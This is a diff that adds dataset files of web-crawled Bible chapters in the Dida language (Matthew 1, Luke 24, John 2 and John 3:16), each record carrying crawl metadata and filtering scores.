100644 index 0000000000000000000000000000000000000000..bf15dfc18d3d5936b0ad66bc869a6d173b65c12d --- /dev/null +++ b/gud_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,3 @@ +{"text":"1\nZozi Klisi 'la 'wlʋlʋda\n(Luk 3.23-38)\n1'Lɩka Zozi Klisi, ‑ɔ ‑glɩ 'lɛ Daviti 'la 'cʋ 'nyɩ Daviti ‑glɩ 'lɛ Ablaamʋ 'la 'cʋ na, ɔ tokadɔkadɔcɩ 'la 'ŋlɩ 'la ‑afluwaa.\n2Ablaamʋ valɩ 'lɛ Izakɩ, Izakɩ ya 'lɛ Zakɔpʋ valɩ 'nyɩ Zakɔpʋ ya 'lɛ Zuda ɩya ɔ bholiecɩa valɩ. 3Zuda ɔya Tamalɩ valɩ 'lɛ Falɛsɩ ɩya Zalaa, Falɛsɩ ya 'lɛ Eslɔmʋ valɩ 'nyɩ Eslɔmʋ ya 'lɛ Aghlamʋ valɩ. 4Aghlamʋ valɩ 'lɛ Aminadabʋ, Aminadabʋ ya 'lɛ Nasɔɔn valɩ 'nyɩ Nasɔɔn ya 'lɛ Salɩmɔɔn valɩ. 5Salɩmɔɔn ‑ya Ghlaabʋ valɩ 'lɛ Bozʋ, Bozʋ ɔya 'Lutu ya 'lɛ Obɛdɩ valɩ 'nyɩ Obɛdɩ ya 'lɛ Zesee valɩ. 6Zesee valɩ 'lɛ nyɩbhɛlʋ Daviti 'nyɩ Daviti ɔya Ulii nʋŋlɔ ya 'lɛ Salomɔɔn valɩ. 7Salomɔɔn valɩ 'lɛ Ghloboamʋ, Ghloboamʋ ya 'lɛ Abia valɩ 'nyɩ Abia ya 'lɛ Azaa valɩ. 8Azaa valɩ 'lɛ Zozafatɩ, Zozafatɩ ya 'lɛ Zolamʋ valɩ 'nyɩ Zolamʋ ya 'lɛ Oziasɩ valɩ. 9Oziasɩ valɩ 'lɛ Zoatamʋ, Zoatamʋ ya 'lɛ Akazɩ valɩ 'nyɩ Akazɩ ya 'lɛ Ezekɩasɩ valɩ. 10Ezekɩasɩ valɩ 'lɛ Manasee, Manasee ya 'lɛ Amɔɔn valɩ 'nyɩ Amɔɔn ya 'lɛ Zoziasɩ valɩ. 11Zoziasɩ valɩ 'lɛ Zekoniasɩ ɩya ɔ bholiecɩ, 'bhlɛsʋan nɩkplaan ma famʋa 'lɛ Izlayɛlɩcuoa* geyliin Babilɔnʋbhlɩa 'kʋ na.\n12Ma famʋ 'lɛ Izlayɛlɩcuoa Babilɔnʋbhlɩa 'kʋ na, dɛ Zekoniasɩ valɩ 'lɛ Salatɩɛlɩ 'nyɩ Salatiɛlɩ ya 'lɛ Zolobabɛlɩ valɩ. 13Zolobabɛlɩ valɩ 'lɛ Abiudʋ, Abiudʋ ya 'lɛ Eliakimʋ valɩ 'nyɩ Eliakimʋ ya 'lɛ Azɔlʋ valɩ. 14Azɔlʋ valɩ 'lɛ Sadɔkʋ, Sadɔkʋ ya 'lɛ Akimʋ valɩ 'nyɩ Akimʋ ya 'lɛ Eliudʋ valɩ. 15Eliudʋ valɩ 'lɛ Eliazalɩ, Eliazalɩ ya 'lɛ Mataan valɩ 'nyɩ Mataan ya 'lɛ Zakɔpʋ valɩ. 16Zakɔpʋ valɩ 'lɛ Zozɛfʋ, ‑ɔ cɩa 'lɛ Maliia, ‑ɔ valɩ 'lɛ Zozii, ma la 'lɛ Laagɔ 'la ‑Sasanyɔa* na.\n17'Lɩka ‑zɔkpʋa 'fɩan 'la ne: ‑Ɩ bhɔlʋ 'lɛ Ablaamʋ 'la 'bhlɛsʋa nɩkplaan ‑aan 'nyɩ ‑ɩ ŋeni 'lɛ Daviti 'la 'bhlɛsʋa nɩkplaan na, ɩ nʋ ‑zɔkpʋ 'kʋgba ‑nmɔɔna. ‑Ɩ bhɔlʋ 'lɛ Daviti 'la 'bhlɛsʋa nɩkplaan ‑aan 'nyɩ ‑ɩ ŋeni 'lɛ 'bhlɛsʋa nɩkplaan ma famʋ 'lɛ Izlayɛlɩcuoa Babilɔnʋ na, ɩ nʋ ‑zɔkpʋ 'kʋgba ‑nmɔɔna. ‑Ɩ bhɔlʋ 'lɛ Izlayɛlɩcuoa 'la Babilɔnʋ ‑famʋdaa ‑aan 'nyɩ ‑ɩ ŋeni 'lɛ Klisi 'la 'bhlɛsʋa nɩkplaan na, ɩ nʋ ‑zɔkpa 'kʋgba ‑nmɔɔna.\nSaa Malii valɩvalɩlɩ 'lɛ Zozii na\n(Luk 2.1-7)\n18'Lɩka saa ma valɩvalɩlɩ 'lɛ Zozi Klisi na. Zozii nɔ Malii ‑glɩa 'ŋlɔa ma ‑zlaa 'lɛ 'nyɩ ma ya 'lɛ Zozɛfʋ 'nyɩ na. ‑Ma 'fɩɔn ma 'ka 'lɛ 'sle pla na, ‑Kplɔkplɔ ‑Wugoa* 'la 'tɛtɩa nɩkplaan, Malii ya nɩkpla 'ma. 19Ɔ ‑ŋuto Zozɛfʋ ‑glɩa 'lɛ 'kʋnylugolunyɔ na, ɔ 'taa ‑wa le ɔ 'kaa Malii, ‑owe ‑owe 'cɩcɩɛ gbɔlʋ, ɔ yaa wabha le ɔ 'kaa 'mɔɔ cɩɩnwlʋlʋ 'cɩɩ. 20Na, ɔ ‑kʋa 'mɩɩ 'lɛ guguda na, ‑Kwlenyɔa 'la 'bhlaandleea* yɔɔ 'claawluun 'cla lebhe: «Zozɛfʋ, Daviti 'la 'cʋ, ‑n nʋŋlɔ Malii 'la 'sleen famʋlɩɛa ɩ 'la kalɩɔ pɔɔvʋ. Sa 'cileea ‑ɔ ‑kʋɔ 'lɛ nɩkplaan na, ɔ 'wlʋlʋ ‑Kplɔkplɔ ‑Wugoa nɩkplaan. 21Ɔ cɩ 'ka ŋodico valɩ ɩya ‑n 'kɔɔ Zozii la, sa ɔmɔ ‑ɔ ‑cɩ ka 'lɛ ɔla 'lɔlʋa ʋla nyinyia nɩkplaan ‑sa.»\n22Ka ɩmɩ ‑naa ‑tɛtɛa ŋeni 'lɛ ɩya ɩmɩa ‑Kwlenyɔa nyɩtɛlɩa 'lɛ ɔla nekʋnyɩtɛnyɔa neen na, ɩ 'ka 'kʋglalɩ: 23'Lɩka 'ŋlɔa ‑ɔ 'ta ka 'lɛ ŋodi cibhlili na, cɩ 'ka nɩkpla 'ma ɩya ɔ 'ka ŋodico valɩ, ɩya ma 'kɔɔ Emanʋwɛlɩ la, ɩ sa ‑zɔn lebhe Laagɔ ‑kʋ ‑anyɩ cɩ.\n24Daa Zozɛfʋ galɔ 'lɛ na, ɔ ya ɩmɩa ‑Kwlenyɔa 'la 'bhlaandleea solua 'mɔɔ 'lɛ na nʋ. Ɔ ya ɔ nʋŋlɔ 'sleen famʋ. 25‑Ma ɔ 'tɔɔ 'ŋlɔ la ‑aan 'nyɩ ɔ ya 'lɛ ɔla 'ciŋodicoa valɩ 'nyɩ Zozɛfʋ yɔɔ 'lɛ Zozii ŋlɩa zʋ.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.bible.com\/bible\/839\/MAT.1.DNT","date":"2019-08-23T15:47:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027318894.83\/warc\/CC-MAIN-20190823150804-20190823172804-00372.warc.gz","language":"gud","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gud_Latn_score\": 1.000008225440979}","num_words":573,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.29,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24\nZozii ya 'kwɩɩnkʋbho\n(Mat 28.1-8; Mak 16.1-8; Zan 20.1-13)\n1Nyamaclɩɩ ‑zʋkpaa 'pɩɩ, 'ŋwlɛa ya 'ŋɔnɔpalɩɩa ma bhɔsʋaa 'lɛ na, 'ma 'nyɩ ma ya lesua 'kʋ mʋ. 2Ma ŋeni 'lɛ na, ma ya 'lɩ le cokwiea ‑ɛ ‑kpaslɩlɩa 'lɛ lesua na, ɛ yaa 'bhisio. 3Ma yʋʋ nɩkplaan ble, ‑ma ma 'taa ‑Kwlenyɔ Zozii 'la ‑blaanyɛkɛa 'lɩ. 4Na, maa 'lɩ 'taa 'lɛ saa 'titia ma 'kanɩa 'lɛ nʋnʋnʋ na, 'lɩka, ncɛlɩ ‑mɔsɔ ya maa 'ciinfutolu, ma pla lokua ‑ɩ le 'lɛ na nɩkplaan. 5Ŋanɔ ya 'ŋwlɛa pla 'nyɩ ma ya 'klʋ ‑dʋdʋ 'kʋ ‑la. Ncɛlɩa ya maa 'cla lebhe: «'Lɩsaa 'la gbʋ a 'matɩa 'lɛ ‑jajanyɔa 'kua sidiin bha? 6Ɔ 'ta ‑da ‑kʋ, ‑ma ɔ ya 'kwɩɩnkʋbho. A luoli ɩmɩa ɔ solua 'lɛ anyɩ, daa ɔ ‑kʋa 'lɛ Galileebhlɩa 'kʋ na.» 7Ɔ yaa 'cla lebhe: «Ɩ ‑fata le Nclɔɔa 'Cʋa* ‑zʋlʋɔ nyinyinʋnya wlɩɩn 'pɛlʋ, ɔ ‑bhoo dabhlalɩsu 'ciin ɩya ‑mɔta ‑zelia, ɔ ‑bho 'kwɩɩn 'kʋ.» 8Na, ma ya Zozii 'la wɔɔnyɩtʋa luoli.\n9Ma ya lesua 'kʋ 'wlʋ 'nyɩ ma ya ɩmɩa ‑naa 'fɩan lobhulobhunyaa* 'kʋgba bhloa ɩya ‑danaanʋaa 'fɩan, 'dɩ 'kʋ ‑salɩ. 10Ŋwlɛɛ ‑naa ‑glɩa: Malii, Madalaa ŋlɔa, Zanɩ ɩya Zakɩ nɔ Malii. Maya ‑daa 'ŋwlɛa maya maasɔ namʋa 'lɛ na yɩɩ lobhulobhunyaa solu. 11‑Ma ɩ ‑kʋa maa 'ciin le yooyowɔlɩ, na ma 'tɩɩ ‑nʋawlɛ la. 12'Bhlɩmɔɔn, Pɩɛlɩ ya 'kʋbho, ɔ ya sɔmɩfa 'nyɩ ɔ ya lesua 'kʋ mʋ. Daa ɔ kwlili 'lɛ sa 'nyɩ ɔ kopeu 'lɛ nɩkplaan na, lokua ‑tɛɛ ɔ 'lɩ 'lɛ. Na, ɩ yɔɔ nikpoo sla 'nyɩ ɔ ya ɔ 'bhisleen mʋ.\nZozii ya gɩlɩnya ‑mɔsɔ 'ciin futolu\n(Mak 16.12-13)\n13Na, 'dɛ 'la clɩɩa bhlogbɩɩ 'kʋ gɩlɩnya* ‑mɔsɔ, mʋa dua ma la 'lɛ Emayusu na 'kʋ. Duu ‑naa ɩya Zolizalɛmʋ nʋ ‑kiloo 'kʋgba bhlo. 14Ma nyɩtɛa nʋnʋgbɩ ‑naa ‑tɛtɛa ‑ɩ 'plɩa 'lɛ na, 'la cɩa wɔlɩ. 15Na, daa ma ‑kʋa 'lɛ nyɩtɛda 'nyɩ ma 'tɩtɔa 'lɛ wɔlɩ na, Zozii 'titi ya maa cɩ mɛ 'nyɩ ɔya maasɔ namʋnʋa cɩ. 16Maa ‑jlɛa 'mɔɔ, ‑ma lʋʋ bhlo gbaa na, 'ma cibhlili 'taa 'mɔɔ. 17Zozii ya maa neencla lebhe: «Wɔɔsaa a nyɩtɛa 'lɛ 'nyɩ a namʋa 'lɛ bha?» Na, ma ya ‑cʋʋ 'plɩ 'nyɩ ma ya 'nylugo. 18Maa nɩkplaan bhlo, ma la 'lɛ Kleopasɩ na, yɔɔ neenŋonu lebhe: «‑Mɔɔ bhlogbɩɩ ‑tɛɛ ‑ɔ ‑kʋ 'lɛ Zolizalɛmʋdua nɩkplaan 'nyɩ ‑ɔ 'ta 'lɛ ɩmɩa ‑ɩ 'plɩ 'lɛ 'yɛpɩ clɩɩ ‑kli ‑naa nɩkplaan na 'nu!» 19Ɔ ya maa neencla lebhe: «‑Anɩsaa bha?» Ma yɔɔ neenŋonu lebhe: «Nazalɛtɩnyɔ Zozii, ɔ ‑glɩa 'lɛ Laagɔnekʋnyɩtɛnyɔ* 'kadie nʋnʋgbɩɩn ɩya wɔɔnyɩtʋʋn, Laagɔ ɩya 'bhlɩnyaa 'fɩan 'ci 'kʋ na, ɔla cɩa wɔlɩa: 20Saa ‑ala ‑teyiyinyaa tocɩa ɩya ‑ala ‑kwletocɩa ‑sasalɩɔ 'lɛ, ma zʋɔ 'lɛ 'tɩtɩ le ma 'bhlɔɔ 'nyɩ ma bhoo 'lɛ dabhlalɩsua 'ciin na. 21'Nyɩ ‑anyɩ, ‑a gugua le ɔmɔ ‑ɔ ‑cɩ kaa 'lɛ Izlayɛlɩbhlɩa* gbʋʋnsa. ‑Ma ɩmɩ ‑naa 'fɩan 'la 'wlukodaa ‑glɩ 'lɛ le wɔlɩ ‑naa ‑kaa 'lɛ 'plɩ na, 'lɩka ɩla ‑mɔta ‑zelɩa. 22'Bhlɩmɔɔn ‑ala nɩkplaan 'ŋwlɛ ‑zlʋsaasa ya ‑ala wɔɔgugwiea gblogblolu: Ma ya ‑zʋkpanɩ 'pɩɩ lesua 'kʋ mʋ 23'nyɩ ma 'ta 'lɛ ɔla ‑blaanyɛkɛa 'lɩ na, ma ya ci 'nyɩ ma ya 'cla lebhe maa ma ya 'bhlaandleecɩ 'ciinlɩ 'nyɩ ma nabhe ɔ ‑ja. 24‑Ala 'namʋnya ‑anʋa ya lesua 'kʋ mʋ 'nyɩ ɩmɩa mala 'ci 'lɩ 'lɛ na ɩya ɩmɩa 'ŋwlɛa 'bhli 'lɛ 'kʋ na, ‑ɩ ‑glɩ bhlo. 'Bhlɩmɔɔn, ɔmɔ ma 'tɔɔ 'lɩ.»\n25Na, Zozii ya maa 'cla lebhe: «A ‑glɩ ncɛlɩa ‑ɔ 'ta 'lɛ dɩgalɩ ‑ci na, 'nyɩ ala pɔlɩa mino 'ta 'lɛ ɩya ɩ 'ka wɔlɩa Laagɔnekʋnyɩtɛnyaa 'bhli 'lɛ 'kʋ na ‑nʋawlɛ la! 26Ɩ 'taa ‑fata le Laagɔ 'la ‑Sasanyɔa*, 'kwlɩɩ ‑naa bhɩa 'mɔɔ ɩya ɔ ble Laagɔ 'la 'klʋagbaa nɩkplaan bha?» 27Na, ɔ ya Moyizi 'kʋ bhɔlʋ, ɔ ya Laagɔnekʋnyɩtɛnyaa 'fɩan 'kʋ 'plɩlɩ 'nyɩ ɔ ya maa ɔla cɩa wɔlɩa ‑ɩ ‑kʋa 'lɛ Zieziewɔlɩa* nɩkplaan na ‑zɔnsa.\n28Daa ma mɛ 'lɛ 'dua 'kʋa gɩlɩnyaa ‑mɔsɔa mʋa 'lɛ na cɩ na, Zozii ya nʋ le saa ɔ mʋa 'lɛ 'kʋklʋʋn 'koonkoon na. 29‑Ma ma yɔɔ ne cɩ 'bhlalɩ 'nyɩ ma yɔɔ 'cla le: «Kʋ anyɩ cɩ, sa 'ylʋa ya tooto 'plɩ, 'nyɩ 'tutu mʋnɩ plakan.» 'Nyɩ ɔ ya ble le ɔ 'ka maa cɩ kʋ. 30Daa ɔya maasɔ 'plɩ 'lɛ 'tlɔnblɩ 'kʋ le ma 'kaa li na, ɔ ya 'flawoa 'ma, ɔ ya Laagɔ bhɔlʋ, ɔ yʋʋ 'kleendɩ 'nyɩ ɔ yʋʋ maa 'nyɩnɩ. 31Na, mala 'cia ya 'gbokalɩ 'nyɩ ma yɔɔ cibhlili. ‑Ma ɔ ya maa 'ciinmlɔnʋ. 32Na, ma 'claclalɩa neen lebhe: «Daa ɔ ‑kʋa 'lɛ ‑anyɩ ‑gugwiea 'kʋ, soluda, 'nyɩ ɔ saa 'lɛ ‑anyɩ Zieziewɔlɩa ‑zɔn na, ‑ala pɔlɩa 'dɩdɔ 'taa bha?»\n33'Dɛ 'la 'ŋwacɩa bhlogbɩɩ 'kʋ, ma ya 'kʋbho 'nyɩ ma ya Zolizalɛmʋ cɔlɔ. Ma ya 'yɛpɩ gɩlɩnyaa 'kʋgba bhloa ɩya mala 'namʋnyaa 'wluwlalɩda ŋeni. 34Ma ‑naa ya ma 'cla lebhe: «‑Zaagbʋsa, ‑Kwlenyɔa ya 'kwɩɩnkʋbho 'nyɩ ɔ ya ɔcɩ Simɔɔn pala.» 35Na, maa ‑ma, ma ya ɩmɩa ‑ɩ 'plɩa 'lɛ ‑gugwiea 'kʋ ɩya saa ma cibhlili cibhlilia 'mɔɔ 'lɛ daa ɔ 'dɩdɩlɩa 'flawoa 'la 'kliin na, 'dɩkʋsalɩ.\nZozii ya ɔcɩ gɩlɩnyaa pala\n(Zan 20.19-23)\n36Na, daa gɩlɩnyaa* ‑mɔsɔa ‑kʋa 'lɛ ɩmɩ ‑naa nyɩtɛda na, Zozii 'titi ya maa 'ciinfutolu 'nyɩ ɔ ya maa 'cla lebhe: «Pupue ŋeni anyɩ.» 37Pɔlɛɛn ya maa 'wlʋ 'nyɩ ŋanɔ ya maa pla, ma gugua le 'kuo ma ‑jlɛa 'lɛ. 38‑Ma ɔ ya maa 'cla lebhe: «'Lɩsaa 'la gbʋ 'wugo ‑wlʋa 'lɛ anyɩ 'wlu 'nyɩ ala pɔlɩa ‑polioa 'lɛ bha?» 39A kope 'na ‑kɔgbʋa ɩya 'na kplia: ‑Amʋ 'titi ‑kʋ 'lɛ. A klaan cɩ, a kope. 'Wugo 'ta 'nyɛkɛ ‑ka naa, ʋ 'ta 'kwie ‑ka lesaa a ‑jlɛɛn 'lɛ 'nyɩ n ‑kɩɩ 'lɛ na. 40Daa ɔ nyɩtɛ 'lɛ ‑sa na, ɔ ya maa ɔla ‑kɔgbʋa ɩya ɔla kplia pala. 41Pɔlɛ 'kʋ mɛnɩa maa, 'nyɩ nikpoo ‑slaa maa, ‑ma maa la 'ta ka ‑azla ‑nʋawlɛ. Na, ɔ ya maa neencla lebhe: «A ‑ka ‑da lililʋʋ bha?» 42Ma yɔɔ ylaylazlii kle 'nyɩ. 43Ɔ yɛɛ 'ma 'nyɩ ɔ yɛɛ maa 'ci 'kʋ lili.\n44'Nyɩ ɩla leean, ɔ ya maa 'cla lebhe: «'Lɩka wɔlɩ ‑naa n solua 'lɛ anyɩ, daa n ‑ya anyɩsɔ ‑kʋ kaa 'lɛ na: Ɩ ‑fata le 'na cɩa wɔlɩa ‑tɛtɛa ‑ɩ ‑zieo 'lɛ Moyizi 'la ‑jlɩmaa, Laagɔnekʋnyɩtɛnyaa 'la ‑afluwia ɩya labhlɩfluwia nɩkplaan na, ɩ ‑glalɩ 'kʋ.» 45Na, ɔ ya mala wɔɔgugwiea 'gbokalɩ le ma 'kaa Zieziewɔlɩa* 'la ‑zɔn 'nu, 46'nyɩ ɔ ya maa 'cla lebhe: «Sɛɛ ɩ ‑zieo 'lɛ: 'Kwlɩ cɩ ka Laagɔ 'la ‑Sasanyɔa* bhɩa ɩya ‑mɔta ‑zelia, ɔ 'ka 'kwɩɩnkʋbho. 47Ma cɩ 'ka ɔla 'ŋlɩa nɩkplaan, 'bhlɩ 'bhlɩ 'kʋ 'la ncɛlɩa ‑tɛtɛa kwlacalalɩɛ ɩya nyinyivalɩɛ plici. Zolizalɛmʋ ma cɩ 'ka 'lɛ bhɔlʋ. 48Anyɩ ‑ɔ ‑glɩ 'lɛ ɩmɩ ‑naa 'la ‑danʋfʋɛ. 49Na, ‑amʋ n cɩ 'ka gba ɩya ‑ndanyɩa n To ta 'lɛ na, ka anyɩ 'kʋ ŋeni. ‑Ma anyɩ, a kʋ 'dua nɩkplaan ‑aan ɩya ‑laagɔɔn 'la 'tɛtɩa 'ka anyɩ nɩkplaan ble.»\nZozii ya ‑laagɔɔn ‑gblaa\n(Mak 16.19; Lobh 1.4-14)\n50Na, Zozii ɔ ya ɔla gɩlɩnyaa* Betaniidua cɩ famʋ. Ɔ ya sɩ 'kʋbho 'nyɩ ɔ ya maa 'nyupalɩ. 51'Nyɩ daa ɔ ‑kʋa 'lɛ maa 'nyupalɩdaa na, ɔya maasɔ ya cɩsasalɩ, ɔ ya fle 'nyɩ ɔ ya ‑laagɔɔn mʋ. 52‑Ɔ ‑glɩ 'lɛ maa na, ma yɔɔ ‑deliin ‑kukoonkplii sasla 'nyɩ maya pɔlɛkʋmɛnɔ ya Zolizalɛmʋ cɔlɔ. 53Na, clɩɩa ‑tɛtɛa, ma ‑kʋa Laagɔpaakadiea* ‑zɔn, ma woa Laagɔ ‑evli.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.bible.com\/bible\/839\/LUK.24.DNT","date":"2020-04-10T10:08:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371893683.94\/warc\/CC-MAIN-20200410075105-20200410105605-00309.warc.gz","language":"gud","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gud_Latn_score\": 1.0000076293945312}","num_words":1181,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.325,"stopwords_ratio":0.495,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nZozii 'la ‑bɛka ‑ciinzizielɩlobholi\n1Na, ‑mɔta ‑zelia ze 'lɛ na, 'cɩcɩɛ ‑kʋa Galileebhlɩa 'la 'dua ma la 'lɛ Kanaa na 'kʋ. Zozii 'nɔ ‑kʋa 'dɛ. 2Ma ya Zozii ‑ma ɔya ɔla gɩlɩnyaa* 'cɩcɩɛnʋtlɔnblɩa 'kʋ la. 3Sa ‑diinvɛɛn 'taanɩa 'lɛ ‑kʋ na, Zozii 'nɔ yɔɔ 'cla lebhe: «Ma 'tanɩ ‑diinvɛɛn ‑ka.» 4‑Ma Zozii yɔɔ 'cla lebhe: «N 'nɔ, wɔɔsaa ‑kʋa 'lɛ n ‑yɔɔsɔ ‑gbaaglɩɩn bha? 'Na 'ŋwacɩa 'ta ka ka ŋeni.» 5Ɔ 'nɔ ya lobhocuoa 'cla lebhe: «Ɩmɩa 'fɩan ɔ cɩ 'ka 'lɛ anyɩ solu na, a nʋɩ.»\n6Cɔkʋnyukondi ‑ngbʋflʋ ‑kʋa dɩpɩa, Zifʋnyaa* zʋa 'lɛ 'nyuun le ma 'ka cɩ wɔlʋ saa mala ‑jlɩmaa bhli 'lɛ 'kʋ na. 'Nyukonde bhlo cɩa ‑sa 'anbhlu bhlo ‑aana 'anbhlu bhlo ɩya 'kle 'wlʋ. 7Na, Zozii ya lobhocuoa 'cla lebhe: «A yeli 'nyukondi ‑naa 'nyu 'kʋ.» 'Nyɩ ma yɩɩ yeli ‑tɛkɛ ‑tɛkɛ. 8Zozii ya 'maa 'cla lebhe: «A 'lunɩ ‑pɔtɔnʋ ɩya a fa 'tlɔnblɩa toa.» Ma yɔɔ mʋ fa 9'nyɩ ɔ ya 'nyua ‑ʋ kaci 'lɛ ‑diinvɛɛan na neencla. Ɔ 'taa daa ɛ 'wlʋlʋa 'lɛ na ‑ci, ‑ma lobhocuoa ‑ɔ 'lua 'lɛ 'nyua na, maa ma ‑cia daa ɛ 'wlʋlʋa 'lɛ na. Na, ɔ ya 'cɩcɩɛnʋnyɔa la 10'nyɩ ɔ yɔɔ 'cla lebhe: «Ncɛlɩa 'fɩan ‑diinvɛɛn 'nanɛa ma polili 'lɛ ‑bɛɛ 'nyɩ daa lalanyaa ya 'lɛ 'mla ‑aan 'nyɩ ma yanɩ 'lɛ lo na, ma lamʋnɩ 'lɛ ɛmɛa ‑ɛ 'ta 'lɛ ‑gbɔɔn nanɩ na. ‑Ma ‑mɔɔ ‑n ya ‑diinvɛɛn 'nanɛa saazʋ ‑aan ‑daandanɩ!»\n11Na, 'lɩka Zozii 'la ‑bɛka -ciinzizielɩlobholia ‑ɩ 'plɩlɩ 'lɛ 'yɛpɩ Kanaa, Galileebhlɩa 'kʋ na. Ɔ ya ɔla 'klʋagbaa pala 'nyɩ ɔla gɩlɩnyaa ya ɔla pɔɔtɛtɛ 'lɩ. 12Ɩla leen, ɔya ɔ 'nɔ, ɔ bholiecɩ ɩya ɔla gɩlɩnyaa ya 'dua ma la 'lɛ Kapɛnayumʋ na 'kʋ mʋ, ‑ma clɩɩ ‑zlʋsaasa ‑tɛɛ ma li 'lɛ 'yɛpɩ.\nZozii ya Laagɔpaakadiea ‑zɔn ble\n(Mat 21.12-13; Mak 11.15-17; Luk 19.45-46)\n13Zifʋnyaa* 'la geyliinwlʋfɛtlɩa* yaa cɩmɛ 'nyɩ Zozii ya Zolizalɛmʋ mʋ. 14Ɔ ya Laagɔpaakadiea* ‑zɔn ble 'nyɩ ɔ ya 'yɛpɩ bhlii, 'bhlabhlɩ, 'kpakpɩ 'la 'pɛlʋzʋnya ɩya 'dalakacinya sakʋda ŋeni. 15Na, ɔ ya 'bhli 'ma, ɔ yɩɩ ‑ngblie cɩ nʋ 'nyɩ ɔ ya maa 'fɩan Laagɔpaakadiea ‑zɔn 'tli, maya mala 'bhlabhlɩa ɩya mala bhliicɩa. Ɔ ya 'dalakacinyaa 'la 'dalaa dlolu, ɔ ya mala 'tlɔnblɩcɩa sagblii 16'nyɩ ɔ ya 'kpakpɩpɛlʋzʋnyaa 'cla lebhe: «A ‑sa ‑da ɩmɩ ‑naa 'fɩan ɩya a 'la plea n To 'la ‑palʋa 'kɔsɛylapalʋ.» 17Na, ɔla gɩlɩnyaa* ya luoli le ɩ ‑zieo lebhe: «‑Naa ‑palʋa 'la 'tʋ bhlaan ‑gbɔɔn.»\n18Zifʋnyaa tocɩa yɔɔ neencla lebhe: «Ɩmɩa ‑n nʋ 'lɛ ‑sa na, 'ciinzizielɩlobholi saa ‑n -cɩ kaa 'lɛ nʋ ɩya ‑n ka ‑anyɩ pala lebhe ‑n ‑ka ɩla ‑jioli bha?» 19Zozii ya maa 'cla lebhe: «A gbɔlʋ Laagɔpaakadie ‑naa, ‑ma clɩɩ ‑mɔta ‑gbaaglɩɩn n cɩ 'kʋʋ 'sla.» 20Na, Zifʋnyaa yɔɔ 'cla lebhe: «‑Palʋ ‑naa 'la 'slalɩɛa ya liowli ‑gwlɩɩ ‑mɔsɔ ɩya ‑ngbʋflʋ 'ma, 'nyɩ ‑mɔɔ ‑n cɩʋ clɩɩ ‑mɔta ‑gbaaglɩɩn 'slalɩ bha?» 21‑Ma ɔmɔ, ɔla 'nyɛkɛa 'la wɔlɩ ɔ nyɩtɛa 'lɛ. 22Na, daa Zozii ‑bho 'lɛ 'kwɩɩn 'kʋ na, ɔla gɩlɩnyaa ya luoli lebhe ɔ ya sɛɛ 'kʋbhli 'nyɩ ma ya Zieziewɔlɩa* ɩya ɔla niwɔlɩa ‑nʋawlɛ la.\nZozii ‑ci nclɔɔ\n23Daa Zozii ‑kʋa 'lɛ Zolizalɛmʋ, Zifʋnyaa* 'la geyliinwlʋfɛtlɩa* 'kʋ na, ncaabhutukpa yɔɔ mala pɔɔtɛtɛa 'kʋ zʋ, 'ciinzizielɩlobholia ɔ nʋa 'lɛ 'nyɩ ma 'lɩ 'lɛ na 'la gbʋ. 24‑Ma Zozii, ɔmɔ ɔ 'taa mala pɔɔtɛtɛ ‑ka, sa ɔ ‑cia maa 'fɩan 25'nyɩ 'ɔ 'matɩ 'taa lebhe ma soluanɩa 'mɔɔ nclɔɔ 'la cɩa wɔlɩ, sa ɔmɔ 'titi ɔ ‑cia ɩmɩa ‑ɩ ‑kʋ 'lɛ nclɔɔ nɩkplaan na.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.bible.com\/bible\/839\/JHN.2.DNT","date":"2020-03-29T16:02:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370494349.3\/warc\/CC-MAIN-20200329140021-20200329170021-00341.warc.gz","language":"gud","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gud_Latn_score\": 1.0000051259994507}","num_words":570,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.317,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} diff --git a/gud_Latn/fineweb-2_000001_remove.jsonl b/gud_Latn/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..97e99cf725176b62eb61f87733381a6ff7015e32 --- /dev/null +++ b/gud_Latn/fineweb-2_000001_remove.jsonl @@ -0,0 +1 @@ +{"text":"DIDA, YOCOBOUÉ: Bible NT\nJohn (Zan) 3:16\n16 ‑Masa, Laagɔ ya tete ɔ ya ‑laagɔzɔan wabha, ɩla gbʋ na ɔ ya ɔla 'Cʋa bhlogbɩɩa ‑sa le ncaatʋtʋʋntʋa ‑ɔ -cɩ ka 'lɛ ɔla pɔɔtɛtɛ kalɩ na, ɔ 'la ka 'ku, ‑ma ɔ 'ka jabhʋa ‑ʋ ‑kʋ 'lɛ 'lʋkʋlʋkʋ ɩya 'lʋkʋlʋkʋ na 'lɩ.","id":"","dump":"CC-MAIN-2017-22","url":"https:\/\/christianchildmultilingualbibleverse.wordpress.com\/category\/bible-languages\/01-languages\/dida\/didgl\/","date":"2017-05-30T07:16:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463614615.14\/warc\/CC-MAIN-20170530070611-20170530090611-00138.warc.gz","language":"gud","language_score":0.9993707538,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gud_Latn_score\": 0.9993707537651062}","num_words":49,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.325,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} diff --git 